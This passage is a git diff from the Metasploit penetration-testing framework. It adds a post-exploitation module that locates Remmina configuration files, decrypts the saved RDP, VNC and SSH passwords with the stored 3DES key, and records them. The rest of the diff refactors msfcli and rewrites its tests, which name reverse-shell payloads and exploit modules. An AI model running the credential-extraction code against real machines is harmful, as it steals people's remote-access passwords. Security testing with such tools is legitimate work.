'Name' => 'UNIX Gather Remmina Credentials', + 'Description' => %q( + Post module to obtain credentials saved for RDP and VNC from Remmina's configuration files. + These are encrypted with 3DES using a 256-bit key generated by Remmina which is (by design) + stored in (relatively) plain text in a file that must be properly protected. + ), + 'License' => MSF_LICENSE, + 'Author' => ['Jon Hart '], + 'Platform' => %w(bsd linux osx unix), + 'SessionTypes' => %w(shell meterpreter) + )) + end + + def run + creds = extract_all_creds + creds.uniq! + if creds.empty? + vprint_status('No Reminna credentials collected') + else + vprint_good("Collected #{creds.size} sets of Remmina credentials") + cred_table = Rex::Ui::Text::Table.new( + 'Header' => 'Remmina Credentials', + 'Indent' => 1, + 'Columns' => %w(Host Port Service User Password) + ) + + creds.each do |cred| + cred_table << cred + report_credential(cred[3], cred[4]) + end + + print_line(cred_table.to_s) + end + end + + def decrypt(secret, data) + c = OpenSSL::Cipher::Cipher.new('des3') + key_data = Base64.decode64(secret) + # the key is the first 24 bytes of the secret + c.key = key_data[0, 24] + # the IV is the last 8 bytes of the secret + c.iv = key_data[24, 8] + # passwords less than 16 characters are padded with nulls + c.padding = 0 + c.decrypt + p = c.update(Base64.decode64(data)) + p << c.final + # trim null-padded, < 16 character passwords + p.gsub(/\x00*$/, '') + end + + # Extracts all remmina creds found anywhere on the target + def extract_all_creds + creds = [] + user_dirs = enum_user_directories + if user_dirs.empty? + print_error('No user directories found') + return + end + + vprint_status("Searching for Remmina creds in #{user_dirs.size} user directories") + # walk through each user directory + enum_user_directories.each do |user_dir| + remmina_dir = ::File.join(user_dir, '.remmina') + pref_file = ::File.join(remmina_dir, 'remmina.pref') + next unless file?(pref_file) + + remmina_prefs = get_settings(pref_file) + next if remmina_prefs.empty? + + if (secret = remmina_prefs['secret']) + vprint_status("Extracted secret #{secret} from #{pref_file}") + else + print_error("No Remmina secret key found in #{pref_file}") + next + end + + # look for any \d+\.remmina files which contain the creds + cred_files = dir(remmina_dir).map do |entry| + ::File.join(remmina_dir, entry) if entry =~ /^\d+\.remmina$/ + end + cred_files.compact! + + if cred_files.empty? + vprint_status("No Remmina credential files in #{remmina_dir}") + else + creds |= extract_creds(secret, cred_files) + end + end + + creds + end + + def extract_creds(secret, files) + creds = [] + files.each do |file| + settings = get_settings(file) + next if settings.empty? + + # get protocol, host, user + proto = settings['protocol'] + host = settings['server'] + case proto + when 'RDP' + port = 3389 + user = settings['username'] + when 'VNC' + port = 5900 + domain = settings['domain'] + if domain.blank? + user = settings['username'] + else + user = domain + '\\' + settings['username'] + end + when 'SFTP', 'SSH' + # XXX: in my testing, the box to save SSH passwords was disabled + # so this may never work + user = settings['ssh_username'] + port = 22 + else + print_error("Unsupported protocol: #{proto}") + next + end + + # get the password + encrypted_password = settings['password'] + password = nil + unless encrypted_password.blank? + password = decrypt(secret, encrypted_password) + end + + if host && user && password + creds << [ host, port, proto.downcase, user, password ] + else + missing = [] + missing << 'host' unless host + missing << 'user' unless user + missing << 'password' unless password + vprint_error("No #{missing.join(',')} in #{file}") + end + end + + creds + end + + # Reads key=value pairs from the specified file, returning them as a Hash of key => value + def get_settings(file) + settings = {} + read_file(file).split("\n").each do |line| + if /^\s*(?[^#][^=]+)=(?.*)/ =~ line + settings[setting] = value + end + end + + vprint_error("No settings found in #{file}") if settings.empty? + settings + end + + def report_credential(user, pass) + credential_data = { + workspace_id: myworkspace_id, + origin_type: :session, + session_id: session_db_id, + post_reference_name: self.refname, + username: user, + private_data: pass, + private_type: :password + } + + create_credential(credential_data) + end + +end diff --git a/modules/post/windows/gather/credentials/bulletproof_ftp.rb b/modules/post/windows/gather/credentials/bulletproof_ftp.rb index 7df3c7d0c6..20c23ca6c3 100644 --- a/modules/post/windows/gather/credentials/bulletproof_ftp.rb +++ b/modules/post/windows/gather/credentials/bulletproof_ftp.rb @@ -171,10 +171,10 @@ class Metasploit3 < Msf::Post end def check_bulletproof(user_dir) - session.fs.dir.foreach(user_dir) do |dir| - if dir =~ /BulletProof Software/ - vprint_status("BulletProof Data Directory found at #{user_dir}\\#{dir}") - return "#{user_dir}\\#{dir}"#"\\BulletProof FTP Client\\2010\\sites\\Bookmarks" + session.fs.dir.foreach(user_dir) do |directory| + if directory =~ /BulletProof Software/ + vprint_status("BulletProof Data Directory found at #{user_dir}\\#{directory}") + return "#{user_dir}\\#{directory}"#"\\BulletProof FTP Client\\2010\\sites\\Bookmarks" end end return nil diff --git a/msfcli b/msfcli index e67530e713..92ba2932d3 100755 --- a/msfcli +++ b/msfcli @@ -16,10 +16,20 @@ require 'rex' class Msfcli + # + # Attributes + # + + # @attribute framework + # @return [Msf::Simple::Framework] + + # + # initialize + # + def initialize(args) @args = {} @indent = ' ' - @framework = nil @args[:module_name] = args.shift # First argument should be the module name @args[:mode] = args.pop || 'h' # Last argument should be the mode @@ -31,6 +41,28 @@ class Msfcli end end + # + # Instance Methods + # + + # The framework to create and list modules. + # + # @return [Msf::Simple::Framework] + def framework + @framework ||= Msf::Simple::Framework.create({'DeferModuleLoads'=>true}) + end + + # Sets {#framework}. + # + # @raise [ArgumentError] if {#framework} already set + def framework=(framework) + if instance_variable_defined? :@framework + fail ArgumentError.new("framework already set") + end + + @framework = framework + end + # # Returns a usage Rex table # @@ -73,7 +105,7 @@ class Msfcli # msfcli will end up loading EVERYTHING to memory to show you a help # menu plus a list of modules available. Really expensive if you ask me. $stdout.puts "[*] Please wait while we load the module tree..." - framework = Msf::Simple::Framework.create + self.framework = Msf::Simple::Framework.create ext = '' tbl = Rex::Ui::Text::Table.new( @@ -283,7 +315,6 @@ class Msfcli # Initializes exploit/payload/encoder/nop modules. # def init_modules - @framework = Msf::Simple::Framework.create({'DeferModuleLoads'=>true}) $stdout.puts "[*] Initializing modules..." module_name = @args[:module_name] @@ -297,11 +328,11 @@ class Msfcli whitelist = generate_whitelist # Load up all the possible modules, this is where things get slow again - @framework.init_module_paths({:whitelist=>whitelist}) - if (@framework.modules.module_load_error_by_path.length > 0) + framework.init_module_paths({:whitelist=>whitelist}) + if (framework.modules.module_load_error_by_path.length > 0) print("Warning: The following modules could not be loaded!\n\n") - @framework.modules.module_load_error_by_path.each do |path, error| + framework.modules.module_load_error_by_path.each do |path, error| print("\t#{path}: #{error}\n\n") end @@ -310,16 +341,16 @@ class Msfcli # Determine what type of module it is if module_name =~ /exploit\/(.*)/ - modules[:module] = @framework.exploits.create($1) + modules[:module] = framework.exploits.create($1) elsif module_name =~ /auxiliary\/(.*)/ - modules[:module] = @framework.auxiliary.create($1) + modules[:module] = framework.auxiliary.create($1) elsif module_name =~ /post\/(.*)/ - modules[:module] = @framework.post.create($1) + modules[:module] = framework.post.create($1) else - modules[:module] = @framework.exploits.create(module_name) + modules[:module] = framework.exploits.create(module_name) if modules[:module].nil? # Try falling back on aux modules - modules[:module] = @framework.auxiliary.create(module_name) + modules[:module] = framework.auxiliary.create(module_name) end end @@ -342,7 +373,7 @@ class Msfcli # Create the payload to use if (modules[:module].datastore['PAYLOAD']) - modules[:payload] = @framework.payloads.create(modules[:module].datastore['PAYLOAD']) + modules[:payload] = framework.payloads.create(modules[:module].datastore['PAYLOAD']) if modules[:payload] modules[:payload].datastore.import_options_from_s(@args[:params].join('_|_'), '_|_') end @@ -350,7 +381,7 @@ class Msfcli # Create the encoder to use if modules[:module].datastore['ENCODER'] - modules[:encoder] = @framework.encoders.create(modules[:module].datastore['ENCODER']) + modules[:encoder] = framework.encoders.create(modules[:module].datastore['ENCODER']) if modules[:encoder] modules[:encoder].datastore.import_options_from_s(@args[:params].join('_|_'), '_|_') end @@ -358,7 +389,7 @@ class Msfcli # Create the NOP to use if modules[:module].datastore['NOP'] - modules[:nop] = @framework.nops.create(modules[:module].datastore['NOP']) + modules[:nop] = framework.nops.create(modules[:module].datastore['NOP']) if modules[:nop] modules[:nop].datastore.import_options_from_s(@args[:params].join('_|_'), '_|_') end @@ -454,7 +485,7 @@ class Msfcli Msf::Ui::Console::Driver::DefaultPrompt, Msf::Ui::Console::Driver::DefaultPromptChar, { - 'Framework' => @framework, + 'Framework' => framework, # When I use msfcli, chances are I want speed, so ASCII art fanciness # probably isn't much of a big deal for me. 'DisableBanner' => true @@ -474,7 +505,7 @@ class Msfcli con.run_single("exploit") # If we have sessions or jobs, keep running - if @framework.sessions.length > 0 or @framework.jobs.length > 0 + if framework.sessions.length > 0 or framework.jobs.length > 0 con.run else con.run_single("quit") @@ -558,7 +589,7 @@ class Msfcli end # Process special var/val pairs... - Msf::Ui::Common.process_cli_arguments(@framework, @args[:params]) + Msf::Ui::Common.process_cli_arguments(framework, @args[:params]) engage_mode(modules) $stdout.puts diff --git a/spec/lib/msf/core/framework_spec.rb b/spec/lib/msf/core/framework_spec.rb index 9c7094cced..eb45b91856 100644 --- a/spec/lib/msf/core/framework_spec.rb +++ b/spec/lib/msf/core/framework_spec.rb @@ -4,24 +4,35 @@ require 'spec_helper' require 'msf/core/framework' describe Msf::Framework do + context '#initialize' do + subject(:framework) { + described_class.new + } + + it 'creates no threads' do + expect { + framework + }.not_to change { Thread.list.count } + end + end describe "#version" do CURRENT_VERSION = "4.10.1-dev" - subject do + subject(:framework) do described_class.new end it "should return the current version" do - subject.version.should == CURRENT_VERSION + framework.version.should == CURRENT_VERSION end it "should return the Version constant" do - described_class.const_get(:Version).should == subject.version + described_class.const_get(:Version).should == framework.version end it "should return the concatenation of Major.Minor.Point-Release" do - major,minor,point,release = subject.version.split(/[.-]/) + major,minor,point,release = framework.version.split(/[.-]/) major.to_i.should == described_class::Major minor.to_i.should == described_class::Minor point.to_i.should == described_class::Point @@ -30,7 +41,7 @@ describe Msf::Framework do skip "conform to SemVer 2.0 syntax: http://semver.org/" do it "should have constants that correspond to SemVer standards" do - major,minor,patch,label = subject.version.split(/[.-]/) + major,minor,patch,label = framework.version.split(/[.-]/) major.to_i.should == described_class::VERSION::MAJOR minor.to_i.should == described_class::VERSION::MINOR point.to_i.should == described_class::VERSION::POINT diff --git a/spec/lib/msf/core/task_manager_spec.rb b/spec/lib/msf/core/task_manager_spec.rb deleted file mode 100644 index 3271df1741..0000000000 --- a/spec/lib/msf/core/task_manager_spec.rb +++ /dev/null @@ -1,99 +0,0 @@ -# -*- coding:binary -*- - -require 'msf/core' -require 'msf/core/task_manager' - -describe Msf::TaskManager do - - let(:framework) do - Msf::Framework.new - end - - let(:tm) do - Msf::TaskManager.new(framework) - end - - it "should have attributes" do - tm.should respond_to("processing") - tm.should respond_to("queue") - tm.should respond_to("thread") - tm.should respond_to("framework") - tm.should respond_to("processing=") - tm.should respond_to("queue=") - tm.should respond_to("thread=") - tm.should respond_to("framework=") - end - - it "should initialize with an empty queue" do - tm.queue.length.should == 0 - tm.backlog.should == 0 - tm.backlog.should == tm.queue.length - end - - it "should add items to the queue and process them" do - tm.queue_proc(Proc.new{ }) - tm.backlog.should == 1 - t = Msf::TaskManager::Task.new(Proc.new { }) - tm.queue_task(t) - tm.backlog.should == 2 - tm.start - t.wait - tm.backlog.should == 0 - end - - it "should add items to the queue and flush them" do - tm.queue_proc(Proc.new{ }) - tm.backlog.should == 1 - tm.queue_proc(Proc.new{ }) - tm.backlog.should == 2 - tm.flush - tm.backlog.should == 0 - end - - it "should start and stop" do - t = Msf::TaskManager::Task.new(Proc.new { }) - tm.queue_task(t) - tm.backlog.should == 1 - tm.start - t.wait - tm.backlog.should == 0 - tm.stop - 1.upto 100 do |cnt| - tm.queue_proc(Proc.new{ }) - tm.backlog.should == cnt - end - t = Msf::TaskManager::Task.new(Proc.new { }) - tm.queue_task(t) - tm.start - t.wait - tm.backlog.should == 0 - end - - it "should handle task timeouts" do - t = Msf::TaskManager::Task.new(Proc.new { sleep(30) }) - t.timeout = 0.1 - - tm.start - tm.queue_task(t) - t.wait - - t.status.should == :timeout - t.duration.should <= 5.0 - end - - it "should handle task exceptions" do - t = Msf::TaskManager::Task.new(Proc.new { asdf1234() }) - tm.start - tm.queue_task(t) - t.wait - t.status.should == :dropped - t.exception.class.should == ::NoMethodError - - t = Msf::TaskManager::Task.new(Proc.new { eval "'" }) - tm.queue_task(t) - t.wait - t.status.should == :dropped - t.exception.should be_a ::SyntaxError - end -end - diff --git a/spec/lib/msf/db_manager_spec.rb b/spec/lib/msf/db_manager_spec.rb index b3f2d69877..2c732c9281 100644 --- a/spec/lib/msf/db_manager_spec.rb +++ b/spec/lib/msf/db_manager_spec.rb @@ -40,7 +40,6 @@ describe Msf::DBManager do it_should_behave_like 'Msf::DBManager::Service' it_should_behave_like 'Msf::DBManager::Session' it_should_behave_like 'Msf::DBManager::SessionEvent' - it_should_behave_like 'Msf::DBManager::Sink' it_should_behave_like 'Msf::DBManager::Task' it_should_behave_like 'Msf::DBManager::Vuln' it_should_behave_like 'Msf::DBManager::VulnAttempt' diff --git a/spec/msfcli_spec.rb b/spec/msfcli_spec.rb index 4f21ff5d49..d37908ed00 100644 --- a/spec/msfcli_spec.rb +++ b/spec/msfcli_spec.rb @@ -7,7 +7,14 @@ require 'msf/ui' require 'msf/base' -describe Msfcli do +describe Msfcli, :content do + subject(:msfcli) { + described_class.new(args) + } + + # + # methods + # # Get stdout: # http://stackoverflow.com/questions/11349270/test-output-to-command-line-with-rspec @@ -22,401 +29,784 @@ describe Msfcli do fake.string end - context "Class methods" do - context ".initialize" do - it "should give me the correct module name in key :module_name after object initialization" do - args = "multi/handler payload=windows/meterpreter/reverse_tcp lhost=127.0.0.1 E" - cli = Msfcli.new(args.split(' ')) - cli.instance_variable_get(:@args)[:module_name].should eq('multi/handler') + # + # lets + # + + let(:args) { + [] + } + + context "#initialize" do + context 'with module name' do + let(:args) { + [ + module_name, + *params + ] + } + + let(:module_name) { + 'multi/handler' + } + + let(:params) { + %w{payload=windows/meterpreter/reverse_tcp lhost=127.0.0.1} + } + + let(:parsed_args) { + msfcli.instance_variable_get(:@args) + } + + context 'multi/handler' do + context 'with mode' do + let(:args) { + super() + [mode] + } + + context 'E' do + let(:mode) { + 'E' + } + + it 'parses module name into :module_name arg' do + expect(parsed_args[:module_name]).to eq(module_name) + end + + it 'parses mode into :mode arg' do + expect(parsed_args[:mode]).to eq(mode) + end + + it 'parses module parameters between module name and mode' do + expect(parsed_args[:params]).to eq(params) + end + end + + context 's' do + let(:mode) { + 's' + } + + it "parses mode as 's' (summary)" do + expect(parsed_args[:mode]).to eq(mode) + end + end + end + + context 'without mode' do + let(:args) { + [ + module_name + ] + } + + it "parses mode as 'h' (help) by default" do + expect(parsed_args[:mode]).to eq('h') + end + end end - it "should give me the correct mode in key :mode after object initialization" do - args = "multi/handler payload=windows/meterpreter/reverse_tcp lhost=127.0.0.1 E" - cli = Msfcli.new(args.split(' ')) - cli.instance_variable_get(:@args)[:mode].should eq('E') + context 'exploit/windows/browser/ie_cbutton_uaf' do + let(:module_name) { + 'exploit/windows/browser/ie_cbutton_uaf' + } + + it "strips 'exploit/' prefix for :module_name" do + expect(parsed_args[:module_name]).to eq('windows/browser/ie_cbutton_uaf') + end end - it "should give me the correct module parameters after object initialization" do - args = "multi/handler payload=windows/meterpreter/reverse_tcp lhost=127.0.0.1 E" - cli = Msfcli.new(args.split(' ')) - cli.instance_variable_get(:@args)[:params].should eq(['payload=windows/meterpreter/reverse_tcp', 'lhost=127.0.0.1']) + context 'exploit/windows/browser/ie_cbutton_uaf' do + let(:module_name) { + 'exploits/windows/browser/ie_cbutton_uaf' + } + + it "strips 'exploits/' prefix for :module_name" do + expect(parsed_args[:module_name]).to eq('windows/browser/ie_cbutton_uaf') + end + end + end + end + + context "#usage" do + it "prints Usage" do + out = get_stdout { + msfcli.usage + } + + expect(out).to include('Usage') + end + end + + # + # This one is slow because we're loading all modules + # + context "#dump_module_list" do + include_context 'Metasploit::Framework::Spec::Constants cleaner' + + let(:framework) { + msfcli.framework + } + + it 'dumps a listof modules' do + tbl = '' + + stdout = get_stdout { + tbl = msfcli.dump_module_list + } + + expect(tbl).to include 'Exploits' + expect(stdout).to include 'Please wait' + end + end + + context "#guess_payload_name" do + subject(:guess_payload_name) { + msfcli.guess_payload_name(payload_reference_name) + } + + context 'with windows/meterpreter/reverse_tcp' do + let(:payload_reference_name) { + 'windows/meterpreter/reverse_tcp' + } + + it { + is_expected.to eq( + [ + /stages\/windows\/meterpreter/, + /payloads\/(stagers|stages)\/windows\/.*(reverse_tcp)\.rb$/ + ] + ) + } + end + + context 'with windows/shell/reverse_tcp' do + let(:payload_reference_name) { + 'windows/shell/reverse_tcp' + } + + it { + is_expected.to eq( + [ + /stages\/windows\/shell/, + /payloads\/(stagers|stages)\/windows\/.*(reverse_tcp)\.rb$/ + ] + ) + } + end + + context 'with php/meterpreter_reverse_tcp' do + let(:payload_reference_name) { + 'php/meterpreter_reverse_tcp' + } + + it { + is_expected.to eq( + [ + /stages\/php\/meterpreter/, + /payloads\/(stagers|stages)\/php\/.*(meterpreter_reverse_tcp)\.rb$/ + ] + ) + } + end + + context 'with linux/x86/meterpreter/reverse_tcp' do + let(:payload_reference_name) { + 'linux/x86/meterpreter/reverse_tcp' + } + + it { + is_expected.to eq( + [ + /stages\/linux\/x86\/meterpreter/, + /payloads\/(stagers|stages)\/linux\/x86\/.*(reverse_tcp)\.rb$/ + ] + ) + } + end + + context 'with java/meterpreter/reverse_tcp' do + let(:payload_reference_name) { + 'java/meterpreter/reverse_tcp' + } + + it { + is_expected.to eq( + [ + /stages\/java\/meterpreter/, + /payloads\/(stagers|stages)\/java\/.*(reverse_tcp)\.rb$/ + ] + ) + } + end + + context 'with cmd/unix/reverse' do + let(:payload_reference_name) { + 'cmd/unix/reverse' + } + + it { + is_expected.to eq( + [ + /stages\/cmd\/shell/, + /payloads\/(singles|stagers|stages)\/cmd\/.*(reverse)\.rb$/ + ] + ) + } + end + + context 'with bsd/x86/shell_reverse_tcp' do + let(:payload_reference_name) { + 'bsd/x86/shell_reverse_tcp' + } + + it { + is_expected.to eq( + [ + /stages\/bsd\/x86\/shell/, + /payloads\/(singles|stagers|stages)\/bsd\/x86\/.*(shell_reverse_tcp)\.rb$/ + ] + ) + } + + end + end + + context "#guess_encoder_name" do + subject(:guess_encoder_name) { + msfcli.guess_encoder_name(encoder_reference_name) + } + + context 'with x86/shikata_ga_nai' do + let(:encoder_reference_name) { + 'x86/shikata_ga_nai' + } + + it { + is_expected.to eq( + [/encoders\/#{encoder_reference_name}/] + ) + } + end + end + + + context "#guess_nop_name" do + subject(:guess_nop_name) { + msfcli.guess_nop_name(nop_reference_name) + } + + context 'with x86/shikata_ga_nai' do + let(:nop_reference_name) { + 'x86/single_byte' + } + + it { + is_expected.to eq( + [/nops\/#{nop_reference_name}/] + ) + } + end + end + + context "#generate_whitelist" do + subject(:generate_whitelist) { + msfcli.generate_whitelist.map(&:to_s) + } + + let(:args) { + [ + 'multi/handler', + "payload=#{payload_reference_name}", + 'lhost=127.0.0.1', + mode + ] + } + + let(:mode) { + 'E' + } + + context 'with payload' do + context 'linux/x86/reverse_tcp' do + let(:payload_reference_name) { + 'linux/x86/reverse_tcp' + } + + context 'with encoder' do + let(:args) { + super().tap { |args| + args.insert(-2, "encoder=#{encoder_reference_name}") + } + } + + context 'x86/fnstenv_mov' do + let(:encoder_reference_name) { + 'x86/fnstenv_mov' + } + + it { + is_expected.to match_array( + [ + /multi\/handler/, + /stages\/linux\/x86\/shell/, + /payloads\/(singles|stagers|stages)\/linux\/x86\/.*(reverse_tcp)\.rb$/, + /encoders\/x86\/fnstenv_mov/, + /post\/.+/, + /encoders\/generic\/*/, + /nops\/.+/ + ].map(&:to_s) + ) + } + end + end end - it "should give me an exploit name without the prefix 'exploit'" do - args = "exploit/windows/browser/ie_cbutton_uaf payload=windows/meterpreter/reverse_tcp lhost=127.0.0.1 E" - cli = Msfcli.new(args.split(' ')) - cli.instance_variable_get(:@args)[:module_name].should eq("windows/browser/ie_cbutton_uaf") - end + context 'windows/meterpreter/reverse_tcp' do + let(:payload_reference_name) { + 'windows/meterpreter/reverse_tcp' + } - it "should give me an exploit name without the prefix 'exploits'" do - args = "exploits/windows/browser/ie_cbutton_uaf payload=windows/meterpreter/reverse_tcp lhost=127.0.0.1 E" - cli = Msfcli.new(args.split(' ')) - cli.instance_variable_get(:@args)[:module_name].should eq("windows/browser/ie_cbutton_uaf") - end + context 'with default options' do + it { + is_expected.to match_array( + [ + /multi\/handler/, + /stages\/windows\/meterpreter/, + /payloads\/(stagers|stages)\/windows\/.*(reverse_tcp)\.rb$/, + /post\/.+/, + /encoders\/generic\/*/, + /encoders\/.+/, + /nops\/.+/ + ].map(&:to_s) + ) + } + end - it "should set mode 's' (summary)" do - args = "multi/handler payload=windows/meterpreter/reverse_tcp s" - cli = Msfcli.new(args.split(' ')) - cli.instance_variable_get(:@args)[:mode].should eq('s') - end + context 'with encoder' do + let(:args) { + super().tap { |args| + args.insert(-2, "encoder=#{encoder_reference_name}") + } + } - it "should set mode 'h' (help) as default" do - args = "multi/handler" - cli = Msfcli.new(args.split(' ')) - cli.instance_variable_get(:@args)[:mode].should eq('h') + context "''" do + let(:encoder_reference_name) do + "''" + end + + context 'with post' do + let(:args) { + super().tap { |args| + args.insert(-2, "post=#{post_reference_name}") + } + } + + context "''" do + let(:post_reference_name) do + "''" + end + + context "with nop" do + let(:args) { + super().tap { |args| + args.insert(-2, "nop=#{nop_reference_name}") + } + } + + context "''" do + let(:nop_reference_name) { + "''" + } + + it { + is_expected.to match_array( + [ + /multi\/handler/, + /stages\/windows\/meterpreter/, + /payloads\/(stagers|stages)\/windows\/.*(reverse_tcp)\.rb$/, + /encoders\/''/, + /post\/''/, + /nops\/''/, + /encoders\/generic\/*/ + ].map(&:to_s) + ) + } + end + end + end + end + end + + context "" do + let(:encoder_reference_name) do + "" + end + + context 'with post' do + let(:args) { + super().tap { |args| + args.insert(-2, "post=#{post_reference_name}") + } + } + + context "" do + let(:post_reference_name) do + "" + end + + context "with nop" do + let(:args) { + super().tap { |args| + args.insert(-2, "nop=#{nop_reference_name}") + } + } + + context "" do + let(:nop_reference_name) { + "" + } + + it { + is_expected.to match_array( + [ + /multi\/handler/, + /stages\/windows\/meterpreter/, + /payloads\/(stagers|stages)\/windows\/.*(reverse_tcp)\.rb$/, + /encoders\/generic\/*/ + ].map(&:to_s) + ) + } + end + end + end + end + end + end + end + end + end + + context "#init_modules" do + include_context 'Metasploit::Framework::Spec::Constants cleaner' + + let(:args) { + [ + module_name, + mode + ] + } + + let(:framework) { + msfcli.framework + } + + let(:mode) { + 'S' + } + + context 'with exploit/windows/smb/psexec' do + let(:module_name) { + 'exploit/windows/smb/psexec' + } + + it 'creates the module in :module' do + modules = {} + + Kernel.quietly { + modules = msfcli.init_modules + } + + expect(modules[:module]).to be_an Msf::Exploit + expect(modules[:module].fullname).to eq(module_name) end end - context ".usage" do - it "should see a help menu" do - out = get_stdout { - cli = Msfcli.new([]) - cli.usage + context 'with auxiliary/server/browser_autopwn' do + let(:module_name) { + 'auxiliary/server/browser_autopwn' + } + + it 'creates the module in :module' do + modules = {} + + Kernel.quietly { + modules = msfcli.init_modules } - out.should =~ /Usage/ + + expect(modules[:module]).to be_an Msf::Auxiliary + expect(modules[:module].fullname).to eq(module_name) end end - # - # This one is slow because we're loading all modules - # - context ".dump_module_list" do - include_context 'Metasploit::Framework::Spec::Constants cleaner' + context 'with post/windows/gather/credentials/gpp' do + let(:module_name) { + 'post/windows/gather/credentials/gpp' + } - it "it should dump a list of modules" do - tbl = '' - stdout = get_stdout { - cli = Msfcli.new([]) - tbl = cli.dump_module_list + it 'creates the module in :module' do + modules = {} + + Kernel.quietly { + modules = msfcli.init_modules } - tbl.should =~ /Exploits/ and stdout.should =~ /Please wait/ + + expect(modules[:module]).to be_an Msf::Post + expect(modules[:module].fullname).to eq(module_name) + end + end + + context 'with multi/handler' do + let(:module_name) { + 'multi/handler' + } + + it 'creates the module in :module' do + modules = {} + + Kernel.quietly { + modules = msfcli.init_modules + } + + expect(modules[:module]).to be_an Msf::Exploit + expect(modules[:module].refname).to eq(module_name) + end + + context 'with payload' do + let(:args) { + super().tap { |args| + args.insert(-2, "payload=#{payload_reference_name}") + } + } + + context 'windows/meterpreter/reverse_tcp' do + let(:payload_reference_name) do + 'windows/meterpreter/reverse_tcp' + end + + it 'creates payload in :payload' do + modules = {} + + Kernel.quietly { + modules = msfcli.init_modules + } + + expect(modules[:payload]).to be_an Msf::Payload + expect(modules[:payload].refname).to eq(payload_reference_name) + end + end + end + + context 'with data store options' do + let(:args) { + super().tap { |args| + args.insert(-2, "#{data_store_key}=#{data_store_value}") + } + } + + let(:data_store_key) { + 'lhost' + } + + let(:data_store_value) { + '127.0.0.1' + } + + it 'sets data store on :module' do + modules = {} + + Kernel.quietly { + modules = msfcli.init_modules + } + + expect(modules[:module].datastore[data_store_key]).to eq(data_store_value) + end end end - context ".guess_payload_name" do - cli = Msfcli.new([]) + context 'with invalid module name' do + let(:module_name) { + 'invalid/module/name' + } - it "should contain matches nedded for windows/meterpreter/reverse_tcp" do - m = cli.guess_payload_name('windows/meterpreter/reverse_tcp') - m.should eq([/stages\/windows\/meterpreter/, /payloads\/(stagers|stages)\/windows\/.*(reverse_tcp)\.rb$/]) + it 'returns empty modules Hash' do + modules = nil + + Kernel.quietly { + modules = msfcli.init_modules + } + + expect(modules).to eq({}) end + end + end - it "should contain matches needed for windows/shell/reverse_tcp" do - m = cli.guess_payload_name('windows/shell/reverse_tcp') - m.should eq([/stages\/windows\/shell/, /payloads\/(stagers|stages)\/windows\/.*(reverse_tcp)\.rb$/]) - end + context "#engage_mode" do + include_context 'Metasploit::Framework::Spec::Constants cleaner' - it "should contain matches needed for windows/shell_reverse_tcp" do - m = cli.guess_payload_name('windows/shell_reverse_tcp') - m.should eq([/stages\/windows\/shell/, /payloads\/(singles|stagers|stages)\/windows\/.*(shell_reverse_tcp)\.rb$/]) - end + subject(:engage_mode) { + msfcli.engage_mode(modules) + } - it "should contain matches needed for php/meterpreter_reverse_tcp" do - m = cli.guess_payload_name('php/meterpreter_reverse_tcp') - m.should eq([/stages\/php\/meterpreter/, /payloads\/(stagers|stages)\/php\/.*(meterpreter_reverse_tcp)\.rb$/]) - end + let(:args) { + [ + module_name, + mode + ] + } - it "should contain matches needed for linux/x86/meterpreter/reverse_tcp" do - m = cli.guess_payload_name('linux/x86/meterpreter/reverse_tcp') - m.should eq([/stages\/linux\/x86\/meterpreter/, /payloads\/(stagers|stages)\/linux\/x86\/.*(reverse_tcp)\.rb$/]) - end + let(:framework) { + msfcli.framework + } - it "should contain matches needed for java/meterpreter/reverse_tcp" do - m = cli.guess_payload_name('java/meterpreter/reverse_tcp') - m.should eq([/stages\/java\/meterpreter/, /payloads\/(stagers|stages)\/java\/.*(reverse_tcp)\.rb$/]) - end + let(:modules) { + msfcli.init_modules + } - it "should contain matches needed for cmd/unix/reverse" do - m = cli.guess_payload_name('cmd/unix/reverse') - m.should eq([/stages\/cmd\/shell/, /payloads\/(singles|stagers|stages)\/cmd\/.*(reverse)\.rb$/]) - end + context 'with auxiliary/scanner/http/http_put' do + let(:module_name) { + 'auxiliary/scanner/http/http_put' + } - it "should contain matches needed for bsd/x86/shell_reverse_tcp" do - m = cli.guess_payload_name('bsd/x86/shell_reverse_tcp') - m.should eq([/stages\/bsd\/x86\/shell/, /payloads\/(singles|stagers|stages)\/bsd\/x86\/.*(shell_reverse_tcp)\.rb$/]) + context 'with mode' do + context 'ac' do + let(:mode) { + 'ac' + } + + specify { + expect(get_stdout { engage_mode }).to match(/DELETE/) + } + end end end - context ".guess_encoder_name" do - cli = Msfcli.new([]) - it "should contain a match for x86/shikata_ga_nai" do - encoder = 'x86/shikata_ga_nai' - m = cli.guess_encoder_name(encoder) - m.should eq([/encoders\/#{encoder}/]) + context 'with auxiliary/scanner/http/http_version' do + let(:module_name) { + 'auxiliary/scanner/http/http_version' + } + + context 'with mode' do + context 'A' do + let(:mode) { + 'A' + } + + specify { + expect(get_stdout { engage_mode }).to match(/UserAgent/) + } + end + + context 'I' do + let(:mode) { + 'I' + } + + specify { + expect(get_stdout { engage_mode }).to match(/Insert fake relative directories into the uri/) + } + end + + context 'O' do + let(:mode) { + 'O' + } + + specify { + expect(get_stdout { engage_mode }).to match(/The target address range or CIDR identifier/) + } + end + + context 'P' do + let(:mode) { + 'P' + } + + specify { + expect(get_stdout { engage_mode }).to match(/This type of module does not support payloads/) + } + end + + context 's' do + let(:mode) { + 's' + } + + specify { + expect(get_stdout { engage_mode }).to match %r{Module: auxiliary/scanner/http/http_version} + } + end + + context 't' do + let(:mode) { + 't' + } + + specify { + expect(get_stdout { engage_mode }).to match(/This type of module does not support targets/) + } + end end end - context ".guess_nop_name" do - cli = Msfcli.new([]) - it "should contain a match for guess_nop_name" do - nop = 'x86/single_byte' - m = cli.guess_nop_name(nop) - m.should eq([/nops\/#{nop}/]) + context 'with windows/browser/ie_cbutton_uaf' do + let(:module_name) { + 'windows/browser/ie_cbutton_uaf' + } + + context 'with mode' do + context 'ac' do + let(:mode) { + 'ac' + } + + specify { + expect(get_stdout { engage_mode }).to match(/This type of module does not support actions/) + } + end + + context 'P' do + let(:mode) { + 'P' + } + + specify { + expect(get_stdout { engage_mode }).to match(/windows\/meterpreter\/reverse_tcp/) + } + end + + context 'T' do + let(:mode) { + 'T' + } + + specify { + expect(get_stdout { engage_mode }).to match(/IE 8 on Windows 7/) + } + end end end - context ".generate_whitelist" do - it "should generate a whitelist for linux/x86/shell/reverse_tcp with encoder x86/fnstenv_mov" do - args = "multi/handler payload=linux/x86/shell/reverse_tcp lhost=127.0.0.1 encoder=x86/fnstenv_mov E" - cli = Msfcli.new(args.split(' ')) - list = cli.generate_whitelist.map { |e| e.to_s } - answer = [ - /multi\/handler/, - /stages\/linux\/x86\/shell/, - 